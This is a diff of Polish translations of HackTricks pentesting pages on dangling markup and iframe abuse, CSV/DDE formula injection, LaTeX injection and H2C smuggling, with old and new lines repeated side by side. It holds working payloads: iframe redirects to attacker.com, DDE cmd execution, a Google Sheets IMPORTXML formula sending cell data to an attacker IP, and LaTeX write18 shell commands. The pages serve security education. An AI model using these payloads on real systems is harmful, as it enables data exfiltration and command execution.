Lub nawet możesz spróbować wykonania pewnego kodu JavaScript:
|
||||
Możesz nawet spróbować wykonać pewien kod JavaScript:
|
||||
```html
|
||||
<script src='/search?q=a&call=alert(1)'></script>
|
||||
```
|
||||
### Nadużycie iframe
|
||||
### Nadużycie tagu Iframe
|
||||
|
||||
Dziecko dokumentu posiada zdolność do przeglądania i modyfikowania właściwości `location` swojego rodzica, nawet w przypadku sytuacji międzydomenowych. Pozwala to na osadzenie skryptu wewnątrz elementu **iframe**, który może przekierować klienta na dowolną stronę:
|
||||
Dokument potomny ma zdolność do przeglądania i modyfikowania właściwości `location` swojego rodzica, nawet w sytuacjach międzydomenowych. Pozwala to na osadzenie skryptu wewnątrz tagu **iframe**, który może przekierować klienta na dowolną stronę:
|
||||
```html
|
||||
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
|
||||
```
|
||||
To można złagodzić używając czegoś takiego jak: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
To można zniwelować używając czegoś takiego jak: `sandbox=' allow-scripts allow-top-navigation'`
|
||||
|
||||
Iframe może również być wykorzystane do wycieku poufnych informacji z innej strony **używając atrybutu nazwy iframe**. Dzieje się tak, ponieważ można utworzyć iframe, które samo w sobie tworzy kolejne iframe, wykorzystując wstrzyknięcie HTML, które powoduje, że **poufne informacje pojawiają się w atrybucie nazwy iframe**, a następnie można uzyskać do niej dostęp z pierwotnego iframe i wyciec je.
|
||||
Iframe może również zostać wykorzystany do wycieku poufnych informacji z innej strony **używając atrybutu nazwy iframe**. Dzieje się tak, ponieważ można stworzyć iframe, który zagnieżdża sam w sobie, wykorzystując wstrzyknięcie HTML, które powoduje, że **poufne informacje pojawiają się wewnątrz atrybutu nazwy iframe**, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i wyciec te informacje.
|
||||
```html
|
||||
<script>
|
||||
function cspBypass(win) {
|
||||
|
@ -223,18 +197,18 @@ setTimeout(()=>alert(win[0].name), 500);
|
|||
|
||||
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
|
||||
```
|
||||
Aby uzyskać więcej informacji, sprawdź [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||||
|
||||
### \<meta nadużycie
|
||||
### Wykorzystanie \<meta
|
||||
|
||||
Możesz użyć **`meta http-equiv`** do wykonania **kilku działań**, takich jak ustawienie pliku Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub przekierowanie (w tym przypadku po 5 sekundach): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
Możesz użyć **`meta http-equiv`** do wykonania **kilku działań** takich jak ustawienie pliku Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` lub przekierowanie (w tym przypadku za 5s): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||||
|
||||
Można to **uniknąć** za pomocą **CSP** dotyczącego **http-equiv** (`Content-Security-Policy: default-src 'self';`, lub `Content-Security-Policy: http-equiv 'self';`)
|
||||
|
||||
### Nowy znacznik HTML \<portal>
|
||||
### Nowy tag HTML \<portal
|
||||
|
||||
Możesz znaleźć bardzo **ciekawe badania** na temat podatności na wykorzystanie znacznika \<portal [tutaj](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
W chwili pisania tego tekstu musisz włączyć znacznik portal w Chrome pod adresem `chrome://flags/#enable-portals`, w przeciwnym razie nie będzie działać.
|
||||
Możesz znaleźć bardzo **interesujące badania** na temat podatności do wykorzystania tagu \<portal [tutaj](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||||
W chwili pisania tego tekstu musisz włączyć tag portal w Chrome w `chrome://flags/#enable-portals` lub nie będzie działać.
|
||||
```html
|
||||
<portal src='https://attacker-server?
|
||||
```
|
||||
|
@ -244,7 +218,7 @@ Nie wszystkie sposoby wycieku łączności w HTML będą przydatne dla Dangling
|
|||
|
||||
## Wycieki SS
|
||||
|
||||
Jest to **mieszanka** między **dangling markup a XS-Leaks**. Z jednej strony podatność pozwala na **wstrzyknięcie HTML** (ale nie JS) na stronie **tej samej domeny**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na której możemy wstrzyknąć HTML, ale **innej strony**.
|
||||
Jest to **miks** pomiędzy **dangling markup i XS-Leaks**. Z jednej strony podatność pozwala na **wstrzyknięcie HTML** (ale nie JS) na stronie **tej samej domeny**, którą będziemy atakować. Z drugiej strony nie będziemy **atakować** bezpośrednio strony, na której możemy wstrzyknąć HTML, ale **innej strony**.
|
||||
|
||||
{% content-ref url="ss-leaks.md" %}
|
||||
[ss-leaks.md](ss-leaks.md)
|
||||
|
@ -252,17 +226,17 @@ Jest to **mieszanka** między **dangling markup a XS-Leaks**. Z jednej strony po
|
|||
|
||||
## XS-Search/XS-Leaks
|
||||
|
||||
XS-Search jest skierowany na **wyciek informacji międzydomenowych** poprzez wykorzystanie **ataków na kanały boczne**. Jest to zatem inna technika niż Dangling Markup, jednak niektóre z technik wykorzystują włączenie znaczników HTML (z i bez wykonania JS), takich jak [**Wstrzykiwanie CSS**](../xs-search.md#css-injection) lub [**Opóźnione ładowanie obrazów**](../xs-search.md#image-lazy-loading)**.**
|
||||
XS-Search są skierowane na **wyciek informacji między domenami** poprzez nadużycie **ataków kanałów bocznych**. Dlatego jest to inna technika niż Dangling Markup, jednakże niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak [**Wstrzykiwanie CSS**](../xs-search.md#css-injection) lub [**Opóźnione Ładowanie Obrazów**](../xs-search.md#image-lazy-loading)**.**
|
||||
|
||||
{% content-ref url="../xs-search.md" %}
|
||||
[xs-search.md](../xs-search.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lista wykrywania Brute-Force
|
||||
## Lista Wykrywania Ataków Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
|
||||
|
||||
## Odwołania
|
||||
## Referencje
|
||||
|
||||
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
||||
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
||||
|
@ -275,10 +249,10 @@ XS-Search jest skierowany na **wyciek informacji międzydomenowych** poprzez wyk
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Wstrzyknięcie formuły/CSV/Doc/LaTeX/GhostScript
|
||||
# Wstrzykiwanie formuł/CSV/Doc/LaTeX/GhostScript
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,27 +9,27 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Wstrzyknięcie formuły
|
||||
## Wstrzykiwanie formuł
|
||||
|
||||
### Informacje
|
||||
|
||||
Jeśli Twoje **wejście** jest **odzwierciedlane** w **plikach CSV** (lub w innych plikach, które prawdopodobnie zostaną otwarte w **Excelu**), możesz umieścić formuły Excela, które zostaną **wykonane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excela.
|
||||
Jeśli **wejście** jest **odzwierciedlane** w **plikach CSV** (lub w innych plikach, które prawdopodobnie zostaną otwarte w **Excelu**), możesz umieścić formuły Excela, które zostaną **wykonane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excela.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie **Excel będzie alarmował** (kilka razy) **użytkownika, gdy coś jest ładowane spoza Excela**, aby zapobiec mu działaniom złośliwym. Dlatego konieczne jest zastosowanie szczególnych wysiłków w zakresie inżynierii społecznej w celu osiągnięcia ostatecznego ładunku.
|
||||
Obecnie **Excel będzie alarmował** (kilka razy) użytkownika, gdy coś jest ładowane spoza Excela, aby zapobiec mu działaniom złośliwym. Dlatego konieczne jest zastosowanie szczególnych wysiłków w zakresie inżynierii społecznej do ostatecznego ładunku.
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -43,34 +43,34 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### Hiperłącze
|
||||
|
||||
**Następujący przykład jest bardzo przydatny do eksfiltracji zawartości z końcowego arkusza kalkulacyjnego i wykonywania żądań do dowolnych lokalizacji. Ale wymaga kliknięcia w link (i zaakceptowania ostrzeżeń).**
|
||||
**Poniższy przykład jest bardzo przydatny do wycieku treści z końcowego arkusza kalkulacyjnego i do wykonywania żądań do dowolnych lokalizacji. Wymaga jednak kliknięcia w link (i zaakceptowania ostrzeżeń).**
|
||||
|
||||
Poniższy przykład został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studenckimi, które jest wykorzystywane poprzez atak CSV injection. Głównym zamiarem atakującego jest skompromitowanie systemu używanego przez nauczycieli do zarządzania danymi uczniów. Metoda ta polega na wstrzyknięciu złośliwego ładunku do aplikacji, poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na szczegóły uczniów. Atak przebiega następująco:
|
||||
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studenckimi, które jest wykorzystywane poprzez atak za pomocą wstrzyknięcia kodu CSV. Głównym celem atakującego jest skompromitowanie systemu używanego przez nauczycieli do zarządzania danymi uczniów. Metoda ta polega na wstrzyknięciu złośliwego ładunku do aplikacji, poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na dane uczniów. Atak przebiega następująco:
|
||||
|
||||
1. **Wstrzyknięcie Złośliwego Ładunku:**
|
||||
* Atakujący przesyła formularz z danymi ucznia, ale zawiera formułę często używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
|
||||
* Atakujący przesyła formularz danych ucznia, ale zawiera formułę często używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
|
||||
* Ta formuła ma na celu utworzenie hiperłącza, które jednak wskazuje na złośliwy serwer kontrolowany przez atakującego.
|
||||
2. **Eksportowanie Skompromitowanych Danych:**
|
||||
* Nauczyciele, nieświadomi kompromitacji, korzystają z funkcjonalności aplikacji do eksportu danych do pliku CSV.
|
||||
* Nauczyciele, nieświadomi kompromitacji, korzystają z funkcji aplikacji do eksportu danych do pliku CSV.
|
||||
* Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym.
|
||||
3. **Wywołanie Ataku:**
|
||||
* Nauczyciel kliknie w hiperłącze, wierząc że jest to prawidłowa część szczegółów ucznia.
|
||||
* Nauczyciel kliknie w hiperłącze, wierząc, że jest to prawidłowa część danych ucznia.
|
||||
* Po kliknięciu, wrażliwe dane (potencjalnie zawierające szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego.
|
||||
4. **Logowanie Danych:**
|
||||
* Serwer atakującego odbiera i rejestruje wrażliwe dane przesłane z komputera nauczyciela.
|
||||
* Atakujący może następnie wykorzystać te dane do różnych złośliwych celów, dalszej kompromitacji prywatności i bezpieczeństwa uczniów oraz instytucji.
|
||||
* Atakujący może następnie wykorzystać te dane do różnych złośliwych celów, dalszego naruszania prywatności i bezpieczeństwa uczniów oraz instytucji.
|
||||
|
||||
### RCE
|
||||
|
||||
**Sprawdź** [**oryginalny post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **dla dalszych szczegółów.**
|
||||
|
||||
W określonych konfiguracjach lub starszych wersjach Excela, funkcja Dynamic Data Exchange (DDE) może być wykorzystana do wykonywania arbitralnych poleceń. Aby to wykorzystać, należy włączyć następujące ustawienia:
|
||||
W określonych konfiguracjach lub starszych wersjach Excela, funkcję o nazwie Dynamic Data Exchange (DDE) można wykorzystać do wykonywania arbitralnych poleceń. Aby to osiągnąć, należy włączyć następujące ustawienia:
|
||||
|
||||
* Przejdź do Plik → Opcje → Centrum Zaufania → Ustawienia Centrum Zaufania → Zewnętrzne Zawartości i włącz **Uruchamianie Serwera Dynamic Data Exchange**.
|
||||
|
||||
Gdy arkusz kalkulacyjny z złośliwym ładunkiem zostanie otwarty (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek zostanie wykonany. Na przykład, aby uruchomić aplikację kalkulatora, ładunek będzie:
|
||||
Gdy arkusz kalkulacyjny z złośliwym ładunkiem zostanie otwarty (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek zostanie wykonany. Na przykład, aby uruchomić kalkulator, ładunek będzie:
|
||||
```markdown
|
||||
`=cmd|' /C calc'!xxx`
|
||||
```
|
||||
|
@ -89,7 +89,7 @@ LibreOffice Calc może być używany do odczytywania plików lokalnych i wycieku
|
|||
|
||||
### Arkusze Google do wycieku danych Out-of-Band (OOB)
|
||||
|
||||
Arkusze Google oferują funkcje, które mogą być wykorzystane do wycieku danych Out-of-Band (OOB):
|
||||
Arkusze Google oferują funkcje, które mogą być wykorzystane do wycieku danych OOB:
|
||||
|
||||
* **CONCATENATE**: Łączy ciągi znaków - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<adres IP atakującego:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
|
@ -101,13 +101,13 @@ Arkusze Google oferują funkcje, które mogą być wykorzystane do wycieku danyc
|
|||
## Wstrzyknięcie LaTeX
|
||||
|
||||
Zazwyczaj serwery, które znajdziesz w internecie, które **konwertują kod LaTeX na PDF**, używają **`pdflatex`**.\
|
||||
Ten program używa 3 głównych atrybutów do (wyłączenia) wykonania poleceń:
|
||||
Ten program używa 3 głównych atrybutów do (nie)zezwalania na wykonanie poleceń:
|
||||
|
||||
* **`--no-shell-escape`**: **Wyłącza** konstrukcję `\write18{command}`, nawet jeśli jest włączona w pliku texmf.cnf.
|
||||
* **`--no-shell-escape`**: **Wyłącza** konstrukcję `\write18{polecenie}`, nawet jeśli jest włączona w pliku texmf.cnf.
|
||||
* **`--shell-restricted`**: To samo co `--shell-escape`, ale **ograniczone** do 'bezpiecznego' zestawu **predefiniowanych** \*\*poleceń (\*\*Na Ubuntu 16.04 lista znajduje się w `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Włącza** konstrukcję `\write18{command}`. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest zazwyczaj wyłączona ze względów bezpieczeństwa.
|
||||
* **`--shell-escape`**: **Włącza** konstrukcję `\write18{polecenie}`. Polecenie może być dowolnym poleceniem powłoki. Ta konstrukcja jest zazwyczaj zabroniona ze względów bezpieczeństwa.
|
||||
|
||||
Jednak istnieją inne sposoby wykonania poleceń, dlatego aby uniknąć RCE, bardzo ważne jest użycie `--shell-restricted`.
|
||||
Jednak istnieją inne sposoby wykonania poleceń, dlatego aby uniknąć RCE, bardzo ważne jest korzystanie z `--shell-restricted`.
|
||||
|
||||
### Odczytaj plik <a href="#read-file" id="read-file"></a>
|
||||
|
||||
|
@ -146,7 +146,7 @@ Możesz potrzebować dostosować wstrzyknięcie za pomocą opakowań takich jak
|
|||
```
|
||||
### Wykonanie polecenia <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
Wejście polecenia zostanie przekierowane do stdin, użyj pliku tymczasowego, aby je odczytać.
|
||||
Wejście polecenia zostanie przekierowane do stdin, użyj pliku tymczasowego, aby je otrzymać.
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
@ -179,7 +179,7 @@ Jeśli otrzymasz błąd LaTex, rozważ użycie base64, aby uzyskać wynik bez z
|
|||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
### Skrypty międzywitrynne <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
|
@ -199,7 +199,7 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -210,7 +210,7 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -6,8 +6,8 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,9 +26,9 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
#### HTTP2 nad Czystym Tekstem (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||
|
||||
H2C, czyli **http2 nad czystym tekstem**, odbiega od normy przejściowych połączeń HTTP, aktualizując standardowe połączenie HTTP **do trwałego**. To zaktualizowane połączenie wykorzystuje binarny protokół http2 do ciągłej komunikacji, w przeciwieństwie do jednorazowej natury plaintext HTTP.
|
||||
H2C, czyli **http2 nad czystym tekstem**, odbiega od normy tymczasowych połączeń HTTP, aktualizując standardowe połączenie HTTP **na trwałe**. To zaktualizowane połączenie wykorzystuje binarny protokół http2 do ciągłej komunikacji, w przeciwieństwie do jednorazowego charakteru zwykłego HTTP.
|
||||
|
||||
Rdzeń problemu przemytu pojawia się przy użyciu **serwera proxy odwrotnego**. Zazwyczaj serwer proxy odwraca i przekazuje żądania HTTP do backendu, zwracając odpowiedź backendu po tym. Jednak gdy nagłówek `Connection: Upgrade` jest obecny w żądaniu HTTP (często widoczny w połączeniach websocket), serwer **proxy utrzymuje trwałe połączenie** między klientem a serwerem, ułatwiając ciągłą wymianę wymaganą przez pewne protokoły. Dla połączeń H2C, zgodność z RFC wymaga obecności trzech konkretnych nagłówków:
|
||||
Rdzeń problemu przemytu pojawia się przy użyciu **serwera proxy odwrotnego**. Zazwyczaj serwer proxy odwrotny przetwarza i przekazuje żądania HTTP do backendu, zwracając odpowiedź backendu po tym. Jednak gdy nagłówek `Connection: Upgrade` jest obecny w żądaniu HTTP (często widoczny w połączeniach websocket), serwer **proxy utrzymuje trwałe połączenie** między klientem a serwerem, ułatwiając ciągłą wymianę wymaganą przez pewne protokoły. Dla połączeń H2C, zgodność z RFC wymaga obecności trzech konkretnych nagłówków:
|
||||
```
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||
|
@ -36,17 +36,17 @@ Connection: Upgrade, HTTP2-Settings
|
|||
```
|
||||
# Wykorzystanie H2C Smuggling <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Podatność pojawia się po uaktualnieniu połączenia, gdy odwrotny proxy przestaje zarządzać poszczególnymi żądaniami, zakładając, że jego zadanie routingu jest zakończone po ustanowieniu połączenia. Wykorzystanie H2C Smuggling pozwala na obejście reguł odwrotnego proxy stosowanych podczas przetwarzania żądania, takich jak routowanie oparte na ścieżce, uwierzytelnianie i przetwarzanie WAF, zakładając, że połączenie H2C zostało pomyślnie zainicjowane.
|
||||
Podatność pojawia się, gdy po zaktualizowaniu połączenia, odwrotny proxy przestaje zarządzać poszczególnymi żądaniami, zakładając, że jego zadanie routingu jest zakończone po ustanowieniu połączenia. Wykorzystanie H2C Smuggling pozwala na obejście reguł odwrotnego proxy stosowanych podczas przetwarzania żądania, takich jak routowanie oparte na ścieżce, uwierzytelnianie i przetwarzanie WAF, zakładając, że połączenie H2C zostało pomyślnie zainicjowane.
|
||||
|
||||
#### Narażone Proksy <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Podatność zależy od obsługi przez odwrotne proxy nagłówków `Upgrade` i czasami `Connection`. Następujące proksy z natury przekazują te nagłówki podczas przekazywania proxy-pass, co z natury umożliwia H2C smuggling:
|
||||
Podatność zależy od obsługi przez odwrotne proxy nagłówków `Upgrade` i czasami `Connection`. Następujące proksy z natury przekazują te nagłówki podczas przekazywania proxy, co z natury umożliwia H2C smuggling:
|
||||
|
||||
* HAProxy
|
||||
* Traefik
|
||||
* Nuster
|
||||
|
||||
Z kolei te usługi z natury nie przekazują obu nagłówków podczas przekazywania proxy-pass. Jednakże mogą być skonfigurowane w sposób niebezpieczny, umożliwiając niefiltrowane przekazywanie nagłówków `Upgrade` i `Connection`:
|
||||
Z kolei te usługi z natury nie przekazują obu nagłówków podczas przekazywania proxy. Jednakże mogą być skonfigurowane w sposób niebezpieczny, umożliwiając niefiltrowane przekazywanie nagłówków `Upgrade` i `Connection`:
|
||||
|
||||
* AWS ALB/CLB
|
||||
* NGINX
|
||||
|
@ -59,7 +59,7 @@ Z kolei te usługi z natury nie przekazują obu nagłówków podczas przekazywan
|
|||
|
||||
#### Wykorzystanie <a href="#exploitation" id="exploitation"></a>
|
||||
|
||||
Warto zauważyć, że nie wszystkie serwery z natury przekazują wymagane nagłówki do zgodnej aktualizacji połączenia H2C. Dlatego serwery takie jak AWS ALB/CLB, NGINX i Apache Traffic Server, między innymi, naturalnie blokują połączenia H2C. Niemniej jednak warto przetestować z niezgodną wersją `Connection: Upgrade`, która wyklucza wartość `HTTP2-Settings` z nagłówka `Connection`, ponieważ niektóre backendy mogą nie być zgodne ze standardami.
|
||||
Należy zauważyć, że nie wszystkie serwery z natury przekazują wymagane nagłówki do zgodnej aktualizacji połączenia H2C. Dlatego serwery takie jak AWS ALB/CLB, NGINX i Apache Traffic Server, między innymi, naturalnie blokują połączenia H2C. Niemniej warto przetestować z niezgodną wersją `Connection: Upgrade`, która wyklucza wartość `HTTP2-Settings` z nagłówka `Connection`, ponieważ niektóre backendy mogą nie być zgodne ze standardami.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Niezależnie od określonej **ścieżki** w adresie URL `proxy_pass` (np. `http://backend:9999/socket.io`), ustanowione połączenie domyślnie przekierowuje do `http://backend:9999`. Pozwala to na interakcję z dowolną ścieżką wewnątrz tego wewnętrznego punktu końcowego, wykorzystując tę technikę. W rezultacie określenie ścieżki w adresie URL `proxy_pass` nie ogranicza dostępu.
|
||||
|
@ -78,8 +78,8 @@ Websocket smuggling, w przeciwieństwie do tworzenia tunelu HTTP2 do punktu koń
|
|||
W tym scenariuszu złośliwy klient kieruje atak na backend oferujący publiczne API Websocket obok niedostępnego wewnętrznego API REST, dążąc do uzyskania dostępu do wewnętrznego API REST. Atak przebiega w kilku krokach:
|
||||
|
||||
1. Klient rozpoczyna wysyłając żądanie Upgrade do odwrotnego proxy z nieprawidłową wersją protokołu `Sec-WebSocket-Version` w nagłówku. Proxy, nie sprawdzając nagłówka `Sec-WebSocket-Version`, uznaje żądanie Upgrade za ważne i przekazuje je do backendu.
|
||||
